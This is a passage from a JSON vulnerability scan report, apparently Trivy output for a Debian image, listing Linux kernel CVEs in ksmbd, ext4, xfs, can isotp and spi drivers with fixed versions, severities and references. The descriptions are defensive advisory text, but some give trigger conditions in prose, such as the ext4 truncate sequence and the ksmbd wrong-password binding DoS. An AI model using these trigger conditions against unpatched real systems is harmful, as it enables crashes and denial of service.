requests\n\nWhen a compound request such as READ + QUERY_INFO(Security) is received,\nand the first command (READ) consumes most of the response buffer,\nksmbd could write beyond the allocated buffer while building a security\ndescriptor.\n\nThe root cause was that smb2_get_info_sec() checked buffer space using\nppntsd_size from xattr, while build_sec_desc() often synthesized a\nsignificantly larger descriptor from POSIX ACLs.\n\nThis patch introduces smb_acl_sec_desc_scratch_len() to accurately\ncompute the final descriptor size beforehand, performs proper buffer\nchecking with smb2_calc_max_out_buf_len(), and uses exact-sized\nallocation + iov pinning.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31432", "https://git.kernel.org/linus/fda9522ed6afaec45cabc198d8492270c394c7bc%20%287.0-rc7%29", "https://git.kernel.org/stable/c/075ea208c648cc2bcd616295b711d3637c61de45", "https://git.kernel.org/stable/c/515c2daab46021221bdf406bef19bc90a44ec617", "https://git.kernel.org/stable/c/533f84264e28c54a79257ea87d2f94a0fcc9a611", "https://git.kernel.org/stable/c/850452af77f55d185f9445e1f7a1db53c5e4aad4", "https://git.kernel.org/stable/c/d48c64fb80ad78b3dd29fb7d79b6ec7bd72bfc09", "https://git.kernel.org/stable/c/fda9522ed6afaec45cabc198d8492270c394c7bc", "https://lore.kernel.org/linux-cve-announce/2026042216-CVE-2026-31432-e990@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31432", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31432" ], "PublishedDate": "2026-04-22T09:16:21.41Z", "LastModifiedDate": "2026-10-30T13:18:39.77Z" }, { "VulnerabilityID": "CVE-2026-31433", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31433", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:439fd1e4670698df9ad5279f0a50d5e5ebbe7f0e126bcc463ac293f729e46a8e", "Title": "kernel: ksmbd: fix potencial OOB in get_file_all_info() for compound requests", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix potencial OOB in get_file_all_info() for compound requests\n\nWhen a compound request consists of QUERY_DIRECTORY + QUERY_INFO\n(FILE_ALL_INFORMATION) and the first command consumes nearly the entire\nmax_trans_size, get_file_all_info() would blindly call smbConvertToUTF16()\nwith PATH_MAX, causing out-of-bounds write beyond the response buffer.\nIn get_file_all_info(), there was a missing validation check for\nthe client-provided OutputBufferLength before copying the filename into\nFileName field of the smb2_file_all_info structure.\nIf the filename length exceeds the available buffer space, it could lead to\npotential buffer overflows or memory corruption during smbConvertToUTF16\nconversion. This calculating the actual free buffer size using\nsmb2_calc_max_out_buf_len() and returning -EINVAL if the buffer is\ninsufficient and updating smbConvertToUTF16 to use the actual filename\nlength (clamped by PATH_MAX) to ensure a safe copy operation.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31433", "https://git.kernel.org/linus/beef2634f81f1c086208191f7228bce1d366493d%20%287.0-rc6%29", "https://git.kernel.org/stable/c/358cdaa1f7fbf2712cb4c5f6b59cb9a5c673c5fe", "https://git.kernel.org/stable/c/3a852f9d1c981fb14f6bf4e24999e0ea8088a7d7", "https://git.kernel.org/stable/c/4cca3eff2099b18672934a39cee70aed835d652c", "https://git.kernel.org/stable/c/7aec5a769d2356cbf344d85bcfd36de592ac96a5", "https://git.kernel.org/stable/c/9d7032851d6f5adbe2739601ca456c0ad3b422f0", "https://git.kernel.org/stable/c/b0cd9725fe2bcc9f37d096b132318a9060373f5d", "https://git.kernel.org/stable/c/beef2634f81f1c086208191f7228bce1d366493d", "https://lore.kernel.org/linux-cve-announce/2026042216-CVE-2026-31433-51e6@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31433", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31433" ], "PublishedDate": "2026-04-22T09:16:21.573Z", "LastModifiedDate": "2026-06-17T10:33:42.767Z" }, { "VulnerabilityID": "CVE-2026-31452", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31452", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5885beb1d87fcafc2debaafa40334e77484d5fe14b853a39d6915290cd7c6c6e", "Title": "kernel: ext4: convert inline data to extents when truncate exceeds inline size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: convert inline data to extents when truncate exceeds inline size\n\nAdd a check in ext4_setattr() to convert files from inline data storage\nto extent-based storage when truncate() grows the file size beyond the\ninline capacity. This prevents the filesystem from entering an\ninconsistent state where the inline data flag is set but the file size\nexceeds what can be stored inline.\n\nWithout this fix, the following sequence causes a kernel BUG_ON():\n\n1. Mount filesystem with inode that has inline flag set and small size\n2. truncate(file, 50MB) - grows size but inline flag remains set\n3. sendfile() attempts to write data\n4. ext4_write_inline_data() hits BUG_ON(write_size \u003e inline_capacity)\n\nThe crash occurs because ext4_write_inline_data() expects inline storage\nto accommodate the write, but the actual inline capacity (~60 bytes for\ni_block + ~96 bytes for xattrs) is far smaller than the file size and\nwrite request.\n\nThe fix checks if the new size from setattr exceeds the inode's actual\ninline capacity (EXT4_I(inode)-\u003ei_inline_size) and converts the file to\nextent-based storage before proceeding with the size change.\n\nThis addresses the root cause by ensuring the inline data flag and file\nsize remain consistent during truncate operations.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31452", "https://access.redhat.com/security/cve/CVE-2026-31452", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://git.kernel.org/linus/ed9356a30e59c7cc3198e7fc46cfedf3767b9b17%20%287.0-rc6%29", "https://git.kernel.org/stable/c/07c1a31af18290054da3d18221b8bf58983c5d3a", "https://git.kernel.org/stable/c/110d7ef602659ce4d7947c5480f7ca2779696aaf", "https://git.kernel.org/stable/c/699bac4d4c951974d55b045c983d1de777215949", "https://git.kernel.org/stable/c/7920dcc571cef3d8aa9ee109c136125d61d41669", "https://git.kernel.org/stable/c/93cb2d103e5c707de0f7ad58a39b7f0fddc27aa6", "https://git.kernel.org/stable/c/c047332be7195833a5c5126816c2502df8269fe4", "https://git.kernel.org/stable/c/ed9356a30e59c7cc3198e7fc46cfedf3767b9b17", "https://git.kernel.org/stable/c/f53a5d9f32924bc2a810d2df243b7714da58b636", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/5.4.2/BRSA-nzimltdilqwm.toml", "https://linux.oracle.com/cve/CVE-2026-31452.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042248-CVE-2026-31452-9f5b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31452", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31452" ], "PublishedDate": "2026-04-22T14:16:39.46Z", "LastModifiedDate": "2026-11-05T22:18:32.243Z" }, { "VulnerabilityID": "CVE-2026-31455", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31455", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a14a942fd07355f5ae92afce1d8b7ba54fbc9eba601b89637585d900c4bc376e", "Title": "kernel: xfs: stop reclaim before pushing AIL during unmount", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: stop reclaim before pushing AIL during unmount\n\nThe unmount sequence in xfs_unmount_flush_inodes() pushed the AIL while\nbackground reclaim and inodegc are still running. This is broken\nindependently of any use-after-free issues - background reclaim and\ninodegc should not be running while the AIL is being pushed during\nunmount, as inodegc can dirty and insert inodes into the AIL during the\nflush, and background reclaim can race to abort and free dirty inodes.\n\nReorder xfs_unmount_flush_inodes() to stop inodegc and cancel background\nreclaim before pushing the AIL. Stop inodegc before cancelling\nm_reclaim_work because the inodegc worker can re-queue m_reclaim_work\nvia xfs_inodegc_set_reclaimable.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31455", "https://access.redhat.com/security/cve/CVE-2026-31455", "https://git.kernel.org/linus/4f24a767e3d64a5f58c595b5c29b6063a201f1e3%20%287.0-rc6%29", "https://git.kernel.org/stable/c/239d734c00644072862fa833805c4471573b1445", "https://git.kernel.org/stable/c/4f24a767e3d64a5f58c595b5c29b6063a201f1e3", "https://git.kernel.org/stable/c/558e3275d8a3b101be18a7fe7d1634053e9d9b07", "https://git.kernel.org/stable/c/8147e304d7d32fd5c3e943babc296ce2873dc279", "https://git.kernel.org/stable/c/a89434a6188d8430ea31120da96e3e4cefb58686", "https://git.kernel.org/stable/c/bda27fc0b4eb3a425d9a18475c4cb94fbe862c60", "https://git.kernel.org/stable/c/d38135af04a3ad8a585c899d176efc8e97853115", "https://git.kernel.org/stable/c/e6cc490048f78b009259a5f032acead9f789c34c", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/5.4.2/BRSA-jncvirdg6oo5.toml", "https://linux.oracle.com/cve/CVE-2026-31455.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042249-CVE-2026-31455-1c26@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31455", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31455" ], "PublishedDate": "2026-04-22T14:16:40.013Z", "LastModifiedDate": "2026-11-05T22:18:32.45Z" }, { "VulnerabilityID": "CVE-2026-31474", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31474", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b870574a3607c4d084f27c3a747fa29ecd7236f2ca97c8eec964fb8f0c9d038c", "Title": "kernel: can: isotp: fix tx.buf use-after-free in isotp_sendmsg()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncan: isotp: fix tx.buf use-after-free in isotp_sendmsg()\n\nisotp_sendmsg() uses only cmpxchg() on so-\u003etx.state to serialize access\nto so-\u003etx.buf. isotp_release() waits for ISOTP_IDLE via\nwait_event_interruptible() and then calls kfree(so-\u003etx.buf).\n\nIf a signal interrupts the wait_event_interruptible() inside close()\nwhile tx.state is ISOTP_SENDING, the loop exits early and release\nproceeds to force ISOTP_SHUTDOWN and continues to kfree(so-\u003etx.buf)\nwhile sendmsg may still be reading so-\u003etx.buf for the final CAN frame\nin isotp_fill_dataframe().\n\nThe so-\u003etx.buf can be allocated once when the standard tx.buf length needs\nto be extended. Move the kfree() of this potentially extended tx.buf to\nsk_destruct time when either isotp_sendmsg() and isotp_release() are done.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-364" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:27288", "https://access.redhat.com/errata/RHSA-2026:27731", "https://access.redhat.com/errata/RHSA-2026:27789", "https://access.redhat.com/security/cve/CVE-2026-31474", "https://bugzilla.redhat.com/2460646", "https://bugzilla.redhat.com/2461503", "https://bugzilla.redhat.com/2464092", "https://bugzilla.redhat.com/2464502", "https://bugzilla.redhat.com/2467083", "https://bugzilla.redhat.com/2467215", "https://bugzilla.redhat.com/2468155", "https://bugzilla.redhat.com/2479492", "https://bugzilla.redhat.com/2481922", "https://bugzilla.redhat.com/2482181", "https://bugzilla.redhat.com/2482563", "https://bugzilla.redhat.com/2482576", "https://bugzilla.redhat.com/2482581", "https://bugzilla.redhat.com/2482608", "https://bugzilla.redhat.com/2482634", "https://bugzilla.redhat.com/2482645", "https://bugzilla.redhat.com/2482654", "https://bugzilla.redhat.com/show_bug.cgi?id=2460646", "https://bugzilla.redhat.com/show_bug.cgi?id=2461503", "https://bugzilla.redhat.com/show_bug.cgi?id=2464092", "https://bugzilla.redhat.com/show_bug.cgi?id=2464502", "https://bugzilla.redhat.com/show_bug.cgi?id=2467083", "https://bugzilla.redhat.com/show_bug.cgi?id=2467215", "https://bugzilla.redhat.com/show_bug.cgi?id=2468155", "https://bugzilla.redhat.com/show_bug.cgi?id=2479492", "https://bugzilla.redhat.com/show_bug.cgi?id=2481922", "https://bugzilla.redhat.com/show_bug.cgi?id=2482181", "https://bugzilla.redhat.com/show_bug.cgi?id=2482563", "https://bugzilla.redhat.com/show_bug.cgi?id=2482576", "https://bugzilla.redhat.com/show_bug.cgi?id=2482581", "https://bugzilla.redhat.com/show_bug.cgi?id=2482608", "https://bugzilla.redhat.com/show_bug.cgi?id=2482634", "https://bugzilla.redhat.com/show_bug.cgi?id=2482645", "https://bugzilla.redhat.com/show_bug.cgi?id=2482654", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31474", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31772", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43279", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43414", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46152", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46173", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46331", "https://errata.almalinux.org/9/ALSA-2026-27789.html", "https://errata.rockylinux.org/RLSA-2026:27789", "https://git.kernel.org/linus/424e95d62110cdbc8fd12b40918f37e408e35a92%20%287.0-rc6%29", "https://git.kernel.org/stable/c/2e62e7051eca75a7f2e3d52d62ec10d7d7aa358c", "https://git.kernel.org/stable/c/424e95d62110cdbc8fd12b40918f37e408e35a92", "https://git.kernel.org/stable/c/9649d051e54413049c009638ec1dc23962c884a4", "https://git.kernel.org/stable/c/cb3d6efa78460e6d50bf68806d0db66265709f64", "https://git.kernel.org/stable/c/eec8a1b18a79600bd4419079dc0026c1db72a830", "https://linux.oracle.com/cve/CVE-2026-31474.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042256-CVE-2026-31474-8673@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31474", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-31474.json", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31474" ], "PublishedDate": "2026-04-22T14:16:44.053Z", "LastModifiedDate": "2026-10-19T19:17:56Z" }, { "VulnerabilityID": "CVE-2026-31476", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31476", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:eef621e258a41f89922ca94cdd5c9bc8f384a03086563bc32b0557230c6825c1", "Title": "kernel: ksmbd: do not expire session on binding failure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: do not expire session on binding failure\n\nWhen a multichannel session binding request fails (e.g. wrong password),\nthe error path unconditionally sets sess-\u003estate = SMB2_SESSION_EXPIRED.\nHowever, during binding, sess points to the target session looked up via\nksmbd_session_lookup_slowpath() -- which belongs to another connection's\nuser. This allows a remote attacker to invalidate any active session by\nsimply sending a binding request with a wrong password (DoS).\n\nFix this by skipping session expiration when the failed request was\na binding attempt, since the session does not belong to the current\nconnection. The reference taken by ksmbd_session_lookup_slowpath() is\nstill correctly released via ksmbd_user_session_put().", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31476", "https://git.kernel.org/linus/9bbb19d21ded7d78645506f20d8c44895e3d0fb9%20%287.0-rc6%29", "https://git.kernel.org/stable/c/1d1888b4a7aec518b707f6eca0bf08992c0e8da3", "https://git.kernel.org/stable/c/4642ea35c03cf3d3558c009df4757cdb7af3f82d", "https://git.kernel.org/stable/c/6fafc4c4238e538969f1375f9ecdc6587c53f1cc", "https://git.kernel.org/stable/c/9bbb19d21ded7d78645506f20d8c44895e3d0fb9", "https://git.kernel.org/stable/c/a897064a457056acb976e20e3007cdf553de340f", "https://git.kernel.org/stable/c/e0e5edc81b241c70355217de7e120c97c3429deb", "https://git.kernel.org/stable/c/f5300690c23c5ac860499bb37dbc09cf43fd62e6", "https://lore.kernel.org/linux-cve-announce/2026042256-CVE-2026-31476-bb58@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31476", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31476" ], "PublishedDate": "2026-04-22T14:16:44.337Z", "LastModifiedDate": "2026-06-17T10:33:48.897Z" }, { "VulnerabilityID": "CVE-2026-31485", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31485", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f123dd0cd80b59dc73ceb1aa91561129a8d17d0d94cd6187655c811f6ee5eb9a", "Title": "kernel: spi: spi-fsl-lpspi: fix teardown order issue (UAF)", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: spi-fsl-lpspi: fix teardown order issue (UAF)\n\nThere is a teardown order issue in the driver. The SPI controller is\nregistered using devm_spi_register_controller(), which delays\nunregistration of the SPI controller until after the fsl_lpspi_remove()\nfunction returns.\n\nAs the fsl_lpspi_remove() function synchronously tears down the DMA\nchannels, a running SPI transfer triggers the following NULL pointer\ndereference due to use after free:\n\n| fsl_lpspi 42550000.spi: I/O Error in DMA RX\n| Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000\n[...]\n| Call trace:\n| fsl_lpspi_dma_transfer+0x260/0x340 [spi_fsl_lpspi]\n| fsl_lpspi_transfer_one+0x198/0x448 [spi_fsl_lpspi]\n| spi_transfer_one_message+0x49c/0x7c8\n| __spi_pump_transfer_message+0x120/0x420\n| __spi_sync+0x2c4/0x520\n| spi_sync+0x34/0x60\n| spidev_message+0x20c/0x378 [spidev]\n| 